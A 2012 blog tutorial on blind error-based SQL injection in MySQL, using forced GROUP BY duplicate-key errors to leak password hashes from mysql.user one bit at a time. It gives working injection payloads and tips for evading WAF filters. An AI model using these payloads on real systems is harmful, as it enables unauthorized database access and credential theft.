Saturday, 29 December 2012

Using Server Errors to Leak Password Hashes: Blind Error Based SQL Injection

I don't know if this attack has been documented, or if its been documented this way before but I think its either going to be a good reminder to some penetration testers or at most another new way to leak information from a stubborn SQLi vulnerable server.

Some Database servers---in this example MySQL database servers---will not respond to run of the mill blind, error based or time based injection attacks. I'm talking about those that won't return any indication of your query evaluating either true or false, but will notify you of an erroneous query through either something being dumped on screen like 'system error' even returning a 500 HTTP status.

In this post I'll document a technique I just thought up for using the server errors to indicate either the true or false evaluation of an injected query.


Some Context

I feel the need to clearly define the context this attack will be useful in, before I go splashing query strings and screenshots in your face. So when you have a MySQL injection vulnerability and:
  • The server accurately indicates an erroneous query ----doesn't log queries as erroneous when they are not
  • The server doesn't indicate ANYTHING except that the query caused a problem through either:
    • A 500 HTTP status
    • Some text displayed on the screen
    • A weird cookie value
    • Augmentation of the page layout
    • or any consistent behaviour that you can associate successfully with a buggy query
So you should be sitting with the situation where you can only tell when your query caused an error, and possibly what kind of error was caused by the query but this is not absolutely crucial.

Its also very important that the server indicates not only syntax based errors but also:
  • Mismatched column counts
  • Group-by errors
  • Order-by errors
  • Type comparison errors
there may be more categories, though I've only catered for these types, in this post I'll show you how to force Group-by errors and in later posts I'll cover the rest ;)

The attack

So what we need to be able to do is essentially craft a query that will either cause an error or not depended on a given condition, in a way that will allow us to verify information stored in the database.
I'll start with the easy part.

Conditional Querying

There are a some useful functions and statements that allow values to be selected in a querying based on a given condition, I'll mention two here:
  • IF function
  • CASE statements
Example:
This is how the IF function works in mysql
SELECT IF([condition],[select this if TRUE],[select this if FALSE]);
SELECT IF((select password from mysql.user)='admin_hash','gotcha','nice try') ;
for more detail see the documentation
CASE statement:
SELECT CASE [value] WHEN [condition for 'value'] THEN [select if condition is TRUE] ELSE [select if condition is FALSE] END;
for more detail see the documentation
Another thing to remember is you can use these where ever you can use a select statement and because they are select statements you can embelish them with what ever function or statements select statements allow, including things like GROUP BY and ORDER BY clauses.

Forcing Query Errors

The next part is a little tricky to explain, but their are ways queries that cause MySQL to log errors. Lets  look at this one error type at a time. How would you force a group-by error?

Group-by errors can be forced by using queries that group selected values based on duplicate grouping keys. This means that somehow more than one grouping key was being used to group the selected data and that at least two grouping keys where the same. 

This is pretty easy to do, you just need to select data to group, make sure there's at least more than one record returned from you select query, and then use a grouping key that changes everytime its called for comparison with the select data, you can do this by firing off queries that look like this:
SELECT count(*) from information_schema.TABLES group by floor(rand(0)*2);
 if you enter this into your mysql prompt you should see something like this:
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
Now when you're doing error based injection you'd likely want to control the value of the grouping key, but because our server doesn't reflect any data regarding the nature of the error its not going to be much help to us.
Some other forms of this query could be:
 select count(*),floor(rand(0)*2)x from information_schema.TABLES group by x;
or
select count(*) from information_schema.TABLES group by floor(cos(rand(rand(rand(180)*1)*180)*180)); 
 you can stick another select query almost anywhere as long as it ends up doing the exact same thing, this may be useful to those of you who are trying to fuzz the regexes inside a WAF,IDS or IPS

So we have two of the fundamental properties we are looking for in a query, the last characteristic we need to cater for is using this to leak data. I'm going to be using bit substring-ing here since it makes for just about the fastest extraction method in these situations, it also gives a lot of regexes a run for their money!

We can leak strings from the database bit by literally bit, only need to determine whether a given bit in the ascii value of a string is 1 or 0, also we only need to do this at most 7 times, many times it may be less because of some hash formats. Here's what it looks like:
SELECT substring(bin(ascii(substring((select password from mysql.user limit 0,1),1,1))),1,1)=TRUE
So this will check if the character in the bit string of the first char in the password hash we just extracted   is 1 or is equal to TRUE which is the same thing. What we do once we know this is move on to the next character it the bit string:
SELECT substring(bin(ascii(substring((select password from mysql.user limit 0,1),1,1))),2,1)=TRUE
and so on and so forth
SELECT substring(bin(ascii(substring((select password from mysql.user limit 0,1),1,1))),3,1)=TRUE 
until you hit the seventh bit in the string.

So we now know how to fulfil each of the conditions, how on earth do we put this all together?

Putting it all together

 

And this folks is what on  example of the injection payload would look like:
select count(*),'bit fonud=0' from information_schema.TABLES group by (select CASE when substring(bin(ascii(substring((select password from mysql.user limit 0,1),1,1))),1,1)=TRUE then concat((select 'bit found=1'),0x3A,floor(rand(0)*2)) END);
or if you can't select from information_schema.* nothing prevents you from creating a derived table!
select count(*),'bit fonud=0' from (select 1 union select 2)a group by (select CASE when substring(bin(ascii(substring((select password from mysql.user limit 0,1),1,1))),1,1)=TRUE then concat((select 'bit found=1'),0x3A,floor(rand(0)*2)) else count(*) END); 
The text I've highlighted here are values you are to change, the last value you change to move between bits of the current character you're extracting and the second value you change to move between characters.

Where's a a little screenshot just for the heck of it.
I'm showing you guys the first four bits of the first character of my super user hash, but thats all you're gonna get lols!
Here's some screen shots that verify that the attack actually does work, here I select the value 'a' as my extraction data and then leak the bits of 'a'`s ascii value:
verification of the method, I only show the first few bits the screen shot would be unreadable if I show any more.

So all you hafta do now is augment these queries onto your local injectable query strings and you'll be cracking some hashes in no time.

Hope you guys enjoyed that,
Thanks for reading ;)